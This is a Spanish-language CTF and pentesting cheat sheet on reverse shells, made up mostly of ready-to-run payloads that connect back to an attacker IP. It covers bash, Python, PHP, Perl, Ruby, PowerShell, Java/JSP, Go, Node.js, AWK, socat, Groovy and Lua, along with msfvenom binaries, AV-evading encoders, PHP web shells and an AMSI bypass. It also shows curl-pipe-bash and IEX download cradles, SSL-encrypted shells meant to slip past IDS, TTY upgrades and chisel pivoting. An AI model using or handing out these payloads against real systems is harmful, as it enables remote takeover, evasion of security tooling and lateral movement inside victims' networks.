Reverse Shells: tipos y cuándo usarlos

Una reverse shell es una conexión iniciada desde la máquina víctima hacia tu máquina atacante. A diferencia de una bind shell (donde el atacante conecta al puerto abierto por la víctima), la reverse shell sale desde el interior de la red objetivo, atravesando firewalls que bloquean conexiones entrantes pero permiten tráfico saliente —que es casi siempre.

Si en un CTF o pentest consigues ejecutar código en un servidor (RCE, LFI, upload, SQLi con xp_cmdshell…), lo primero que vas a querer es una shell interactiva estable. Esta guía cubre todos los tipos que existen, cuándo funciona cada uno y cómo estabilizarlos una vez dentro.

Cómo funciona el flujo

ATACANTE                          VÍCTIMA
┌──────────────────┐             ┌──────────────────┐
│  nc -lvnp 4444   │ ←─────────  │  bash -i >& /dev │
│  (listener)      │  conexión   │  /tcp/10.0.0.1/  │
│                  │  saliente   │  4444 0>&1        │
└──────────────────┘             └──────────────────┘

1. Lanzas un listener en tu máquina (puerto abierto esperando conexión)
2. Ejecutas el payload en la víctima (vía RCE, web shell, exploit…)
3. La víctima conecta a ti y te cede su stdin/stdout/stderr

El firewall de la víctima normalmente bloquea conexiones entrantes al puerto aleatorio que abriría una bind shell —pero el tráfico saliente al puerto 443 o 80 suele estar libre. Ahí está la magia.

Configurar el listener

Antes de lanzar cualquier payload necesitas el listener. Las opciones más comunes:

Netcat clásico

nc -lvnp 4444

Ncat (Nmap)

ncat -lvnp 4444
# con SSL (reverse shell cifrada):
ncat --ssl -lvnp 4444

Socat

socat TCP-LISTEN:4444,reuseaddr,fork STDOUT

Metasploit (handler genérico)

msfconsole -q
use exploit/multi/handler
set PAYLOAD linux/x64/shell/reverse_tcp   # o el que uses
set LHOST 10.10.14.5
set LPORT 4444
run -j

Metasploit es ideal cuando usas payloads staged o Meterpreter, ya que gestiona la negociación automáticamente.

Bash / sh

La más rápida cuando el target es Linux y tiene bash disponible (casi siempre).

Bash estándar

bash -i >& /dev/tcp/10.10.14.5/4444 0>&1

/dev/tcp es una característica del shell de Bash (no existe en el sistema de archivos). Redirige stdin, stdout y stderr a la conexión TCP.

Usando sh (para sistemas sin bash)

0<&196;exec 196<>/dev/tcp/10.10.14.5/4444; sh <&196 >&196 2>&196

Con mkfifo (named pipe) — más compatible

rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | sh -i 2>&1 | nc 10.10.14.5 4444 >/tmp/f

Este método no depende de /dev/tcp y funciona en shells minimalistas (sh, dash, ash). Crea un pipe nombrado: nc escribe en él, sh lo lee y ejecuta, y la salida vuelve por nc.

Bash en base64 (bypass de filtros básicos)

Si el RCE filtra caracteres como > o &, codifica el payload:

# Codificar en tu máquina:
echo 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1' | base64
# Resultado: YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC41LzQ0NDQgMD4mMQo=

# Payload para ejecutar en la víctima:
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC41LzQ0NDQgMD4mMQo= | base64 -d | bash

Cuándo usar bash/sh

• Target Linux con bash/sh disponible
• RCE directo vía command injection
• Entornos donde no puedes subir archivos

Python

Python está disponible en casi toda distribución Linux y en muchos servidores web (Flask, Django, scripts de administración). Además es el más versátil para TTY completa.

Python 3 (preferido)

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.5",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

Python 2 (legacy, aún frecuente en máquinas viejas)

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.5",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Versión con pty (TTY real desde el primer momento)

python3 -c 'import pty,socket,os;s=socket.socket();s.connect(("10.10.14.5",4444));[os.dup2(s.fileno(),f) for f in (0,1,2)];pty.spawn("/bin/bash")'

Esta variante lanza directamente un PTY, así que te da autocompletado y colores sin necesidad de estabilización adicional.

Script Python guardado en disco

Si puedes subir archivos, es más cómodo:

#!/usr/bin/env python3
import socket, subprocess, os

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.10.14.5", 4444))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
subprocess.call(["/bin/bash", "-i"])

python3 shell.py

Cuándo usar Python

• Servidores web Python (Flask, Django, Jupyter)
• Cuando necesitas TTY real rápida (variante pty)
• Máquinas con Python en PATH pero sin bash directo

PHP

PHP es el lenguaje más común en servidores web. Si hay file upload, RCE via LFI o cualquier vulnerabilidad en una app PHP, esto es lo tuyo.

One-liner básico

php -r '$sock=fsockopen("10.10.14.5",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

Con proc_open (más portable)

php -r '$sock=fsockopen("10.10.14.5",4444);$proc=proc_open("/bin/sh -i",array(0=>$sock,1=>$sock,2=>$sock),$pipes);'

Web shell PHP que lanza reverse shell

Cuando subes un archivo .php al servidor (file upload, LFI), un web shell simple primero, luego reverse shell:

<?php
// Web shell básico (primero)
system($_GET['cmd']);
?>

Accedes a http://victim.com/upload/shell.php?cmd=id y confirmas RCE. Después:

<?php
// Reverse shell completa
$ip = '10.10.14.5';
$port = 4444;
$sock = fsockopen($ip, $port);
$proc = proc_open('/bin/sh', array(0 => $sock, 1 => $sock, 2 => $sock), $pipes);
?>

PHP con exec (cuando fsockopen está deshabilitado)

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'"); ?>

La reverse shell de PentestMonkey (clásica, completa)

La shell PHP de pentestmonkey es la referencia. Búscala con:

locate php-reverse-shell.php
# o en Kali:
/usr/share/webshells/php/php-reverse-shell.php

Solo edita $ip y $port en las primeras líneas y súbela. Gestiona correctamente el stdin/stdout/stderr y da una shell más estable que los one-liners.

Cuándo usar PHP

• File upload en aplicaciones PHP
• LFI con log poisoning
• RCE en CMS (WordPress, Joomla, Drupal)
• Cuando el servidor es Apache/Nginx con PHP

Perl

Perl sigue instalado en muchos sistemas Unix legacy y en distribuciones como FreeBSD.

One-liner

perl -e 'use Socket;$i="10.10.14.5";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Sin /bin/sh (para Windows con Perl)

perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"10.10.14.5:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

Cuándo usar Perl

• Sistemas Unix legacy (Solaris, HP-UX, FreeBSD)
• Máquinas donde Python/Ruby no están instalados pero Perl sí

Ruby

Ruby aparece mucho en entornos de desarrollo web (Ruby on Rails, Sinatra).

One-liner

ruby -rsocket -e'f=TCPSocket.open("10.10.14.5",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Variante Windows

ruby -rsocket -e 'c=TCPSocket.new("10.10.14.5","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

Cuándo usar Ruby

• Aplicaciones Rails comprometidas
• Servidores con Gem/Bundler ejecutando scripts

Netcat

Netcat tiene varias implementaciones y no todas soportan -e. Saber cuál tienes es clave.

Netcat tradicional (con -e)

nc -e /bin/sh 10.10.14.5 4444
# o bash:
nc -e /bin/bash 10.10.14.5 4444

-e ejecuta un programa al conectar. Simple y efectivo, pero muchas versiones modernas no tienen -e por razones de seguridad.

Netcat OpenBSD (sin -e)

La versión que viene en Ubuntu/Debian no tiene -e. Usa mkfifo:

rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.10.14.5 4444 >/tmp/f

Ncat (la versión de Nmap, más features)

ncat 10.10.14.5 4444 -e /bin/bash

Netcat para Windows

nc.exe -e cmd.exe 10.10.14.5 4444

Necesitas subir el binario nc.exe primero. Lo encontrarás en /usr/share/windows-binaries/ en Kali.

Cuándo usar Netcat

• Tienes control sobre qué versión usar
• Necesitas algo rápido y sin dependencias de lenguaje
• Target Windows donde puedes subir nc.exe

PowerShell (Windows)

Cuando el target es Windows, PowerShell es tu mejor amigo. Viene instalado por defecto desde Windows 7 y es mucho más potente que cmd.exe.

One-liner clásico

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.14.5',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

Base64 encoded (bypass de restricciones)

La ExecutionPolicy de PowerShell puede bloquear scripts. El flag -EncodedCommand acepta base64 y suele saltarse restricciones básicas:

# En Linux, generar el comando codificado:
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.5/shell.ps1')" | iconv -t UTF-16LE | base64 -w 0

powershell -EncodedCommand <base64>

PowerShell + Invoke-Expression desde servidor HTTP

Una técnica muy usada: sirves el script por HTTP y lo ejecutas en memoria (no toca disco):

# En tu máquina: sirve el script
python3 -m http.server 80
# (tienes shell.ps1 ahí con tu reverse shell)

# En la víctima:
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.5/shell.ps1')"

El script shell.ps1 puede ser el one-liner de arriba o cualquier variante.

PowerShell con bypass de AMSI (más avanzado)

AMSI (Antimalware Scan Interface) puede detectar payloads conocidos. Un patch básico:

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

Esto deshabilita AMSI en la sesión actual antes de cargar el payload. Úsalo solo en contextos autorizados.

Conpty shell (Windows interactiva moderna)

ConPTY da una shell verdaderamente interactiva en Windows (similar al upgrade de TTY en Linux):

IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell 10.10.14.5 4444

En tu listener usa stty raw -echo; nc -lvnp 4444 para que funcione correctamente.

Cuándo usar PowerShell

• Target Windows (siempre intentarlo primero)
• Cuando tienes RCE via IIS, ASP.NET, o script de sistema
• Necesitas ejecutar en memoria sin tocar disco

Java

Java aparece en Tomcat, JBoss, Jenkins, Spring Boot. Muy común en entornos empresariales.

Runtime.exec one-liner

# Generar con msfvenom:
msfvenom -p java/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f jar -o shell.jar
java -jar shell.jar

Java directo (sin msfvenom)

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.10.14.5/4444;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

Este snippet es útil en consolas Groovy de Jenkins.

JSP Web Shell

Cuando puedes subir un .jsp a Tomcat:

<%
    String[] cmd = {"/bin/bash", "-c", "bash -i >& /dev/tcp/10.10.14.5/4444 0>&1"};
    Runtime rt = Runtime.getRuntime();
    Process proc = rt.exec(cmd);
    proc.waitFor();
%>

Cuándo usar Java

• Apache Tomcat (subir WAR malicioso)
• Jenkins (Script Console en Groovy/Java)
• JBoss / WildFly / WebLogic comprometidos

Golang

Go está ganando popularidad en herramientas de sistema y microservicios.

Script Go

package main

import (
	"net"
	"os/exec"
)

func main() {
	conn, _ := net.Dial("tcp", "10.10.14.5:4444")
	cmd := exec.Command("/bin/sh")
	cmd.Stdin = conn
	cmd.Stdout = conn
	cmd.Stderr = conn
	cmd.Run()
}

# Compilar y ejecutar:
go run shell.go
# O compilar para la arquitectura del target:
GOOS=linux GOARCH=amd64 go build -o shell shell.go

Cross-compilation para Windows desde Linux

GOOS=windows GOARCH=amd64 go build -o shell.exe shell.go

Cuándo usar Golang

• Compilas un binario standalone (sin dependencias)
• Necesitas cross-compilar para una arquitectura específica
• Target tiene Go instalado (servidores de desarrollo)

Node.js

Node.js está en todas partes: servidores web, aplicaciones de empresa, herramientas CLI.

One-liner

node -e 'var net=require("net"),cp=require("child_process"),sh=cp.spawn("/bin/sh",[]);var client=new net.Socket();client.connect(4444,"10.10.14.5",function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});'

Script completo

(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(4444, "10.10.14.5", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/;
})();

Cuándo usar Node.js

• RCE en aplicaciones Express/Next.js/NestJS
• Servidores con npm/node en el PATH
• Prototipos y aplicaciones de startup con JS backend

AWK

Awk es un clásico que casi nunca se menciona pero está en todos los sistemas Unix.

awk 'BEGIN {s = "/inet/tcp/0/10.10.14.5/4444"; while(42) {do{ printf "shell>" |& s; s |& getline c; print c; while ((c | getline line) > 0) print line |& s; close(c)} while(c != "exit") close(s)}}'

Cuándo usar AWK

• Restricciones extremas (solo herramientas básicas Unix disponibles)
• Cuando bash, python, perl y ruby están bloqueados o no existen

Socat

Socat es la herramienta más potente para reverse shells: soporta SSL, IPv6, serial, y da TTY nativa sin estabilización.

Reverse shell básica

# Listener:
socat TCP-LISTEN:4444,reuseaddr,fork EXEC:/bin/bash,pty,stderr,setsid,sigint,sane

# Payload (víctima):
socat TCP:10.10.14.5:4444 EXEC:/bin/bash,pty,stderr,setsid,sigint,sane

Esto da directamente una TTY completa con todo configurado. Es la shell más estable sin pasos adicionales.

Reverse shell cifrada con SSL (evasión de IDS)

El tráfico pasa cifrado, lo que evade IDS/IPS que buscan patrones de shell en texto claro.

# Generar certificado en tu máquina:
openssl req -newkey rsa:2048 -nodes -keyout shell.key -x509 -days 362 -out shell.crt
cat shell.key shell.crt > shell.pem

# Listener con SSL:
socat OPENSSL-LISTEN:4444,cert=shell.pem,verify=0,fork EXEC:/bin/bash

# Payload en la víctima:
socat OPENSSL:10.10.14.5:4444,verify=0 EXEC:/bin/bash,pty,stderr,setsid,sigint,sane

Socat binario estático (cuando socat no está instalado)

# Descargar binario estático en la víctima:
wget https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat
chmod +x /tmp/socat
/tmp/socat TCP:10.10.14.5:4444 EXEC:/bin/bash,pty,stderr,setsid,sigint,sane

Cuándo usar Socat

• Quieres TTY completa sin pasos de estabilización
• Necesitas cifrar el tráfico (bypass IDS/NIDS)
• Entornos donde Netcat no da una shell estable

Groovy (Jenkins)

Jenkins tiene una "Script Console" que ejecuta Groovy directamente. Es uno de los RCE más fáciles de aprovechar cuando encuentras Jenkins sin autenticación o con credenciales débiles.

// En Script Console de Jenkins (Manage Jenkins > Script Console):
String host="10.10.14.5";
int port=4444;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()){
    while(pi.available()>0) so.write(pi.read());
    while(pe.available()>0) so.write(pe.read());
    while(si.available()>0) po.write(si.read());
    so.flush();po.flush();
    Thread.sleep(50);
    try {p.exitValue();break;} catch (Exception e){}
}
p.destroy();s.close();

Cuándo usar Groovy

• Jenkins Script Console accesible
• Sistemas con Groovy/Java disponibles

Lua

Lua aparece en sistemas embebidos, juegos y como scripting en aplicaciones como Nginx con OpenResty.

lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.10.14.5','4444');os.execute('/bin/sh -i <&3 >&3 2>&3');"

Cuándo usar Lua

• Nginx con OpenResty/lua-nginx-module
• Dispositivos IoT con Lua integrado
• Aplicaciones de juego/simulación

Msfvenom: payloads compilados

Msfvenom genera payloads binarios o scripts en muchos formatos. Ideal cuando puedes subir y ejecutar un archivo.

Linux x64 ELF

msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f elf -o shell.elf
chmod +x shell.elf
./shell.elf

Windows EXE

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f exe -o shell.exe

Windows EXE con Meterpreter (más features)

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f exe -o meter.exe

Con Meterpreter obtienes migración de procesos, keylogger, captura de pantalla, pivoting y más. Requiere exploit/multi/handler como listener.

PHP

msfvenom -p php/reverse_php LHOST=10.10.14.5 LPORT=4444 -f raw -o shell.php

ASP (IIS)

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f asp -o shell.asp

ASPX (.NET)

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f aspx -o shell.aspx

WAR (Tomcat)

msfvenom -p java/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f war -o shell.war

Android APK

msfvenom -p android/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f apk -o shell.apk

Con encoder (bypass AV básico)

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -e x64/zutto_dekiru -i 5 -f exe -o shell_encoded.exe

-e especifica el encoder, -i las iteraciones. Más iteraciones = más ofuscación, pero no es suficiente para AV modernos sin otras técnicas.

Listar todos los payloads disponibles

msfvenom -l payloads | grep reverse

Técnica Web Shell → Reverse Shell

Cuando tienes file upload y puedes subir una web shell, el flujo es:

1. Subir web shell (comprueba ejecución de código):

<?php system($_GET['cmd']); ?>

2. Confirmar RCE:

http://victim.com/uploads/shell.php?cmd=id
# Respuesta: uid=33(www-data) gid=33(www-data)

3. Lanzar reverse shell desde la web shell (URL-encoded):

http://victim.com/uploads/shell.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.5/4444+0>%261'

O, mejor, sirve el payload por HTTP y lo ejecutas en memoria:

http://victim.com/uploads/shell.php?cmd=curl+http://10.10.14.5/rev.sh|bash

Donde rev.sh en tu servidor contiene:

#!/bin/bash
bash -i >& /dev/tcp/10.10.14.5/4444 0>&1

Puertos que usar (OPSEC)

La elección del puerto importa. Los firewalls suelen bloquear puertos desconocidos salientes.

En un pentest real, siempre usa 443 o 80. En CTF puedes usar el que quieras.

Estabilizar la shell (TTY upgrade)

Una reverse shell básica no tiene TTY: no funciona el autocompletado, sudo puede fallar, las señales (Ctrl+C) matan la shell entera y vi/nano no se renderizan bien. El upgrade a TTY completa es casi siempre necesario.

Método 1: Python pty (el más común)

# 1. En la reverse shell (víctima):
python3 -c 'import pty;pty.spawn("/bin/bash")'

# 2. Ctrl+Z (la mandas al background en TU máquina)

# 3. En tu máquina:
stty raw -echo; fg

# 4. De vuelta en la shell (víctima):
export TERM=xterm

Ahora tienes Ctrl+C funcional, autocompletado, arrows y Vi/Nano.

Ajustar tamaño del terminal

Si el terminal se ve mal (líneas que no encajan):

# En tu máquina, ver tu tamaño:
stty size
# Resultado: 51 220 (filas columnas)

# En la shell de la víctima:
stty rows 51 cols 220

Método 2: Socat (TTY nativa directa)

Si puedes descargar socat en la víctima:

# Listener en tu máquina:
socat file:`tty`,raw,echo=0 tcp-listen:4444

# En la víctima:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.14.5:4444

Socat da TTY completa sin pasos adicionales.

Método 3: script (alternativa a pty)

script /dev/null -c bash

Más limitado que pty pero útil cuando Python no está disponible.

Método 4: rlwrap (solo mejora arrows/historial)

rlwrap nc -lvnp 4444

rlwrap añade historial de comandos y navegación con flechas, pero no es TTY completa. Útil como parche rápido.

Pivoting con reverse shells

Una reverse shell también es útil para pivotar hacia redes internas.

Chisel (túnel TCP inverso)

# En tu máquina (servidor):
./chisel server -p 8080 --reverse

# En la víctima (cliente):
./chisel client 10.10.14.5:8080 R:socks

Crea un proxy SOCKS5 en tu puerto 1080 que enruta tráfico por la víctima hacia su red interna. Luego usas proxychains para lanzar herramientas por ese túnel.

SSH Tunneling desde la víctima

Si lograste credenciales SSH:

ssh -R 4445:localhost:4445 user@10.10.14.5

Tabla resumen: cuándo usar cada tipo

Recursos y generadores online

RevShells.com es el generador de referencia: seleccionas el lenguaje, pones tu IP y puerto, y te da el one-liner listo. Muy útil en CTF para no memorizarlo todo.

En Kali tienes también:

# Web shells incluidas:
ls /usr/share/webshells/

# Por lenguaje:
ls /usr/share/webshells/php/
ls /usr/share/webshells/asp/
ls /usr/share/webshells/aspx/

Y para payloads compilados, msfvenom -l payloads lista los +500 disponibles.

El flujo siempre es el mismo: listener levantado → payload ejecutado → shell recibida → TTY upgrade → exploración. Dominar estos tipos y saber elegir el correcto según el contexto es la diferencia entre estar 10 minutos dentro o una hora intentando que algo funcione.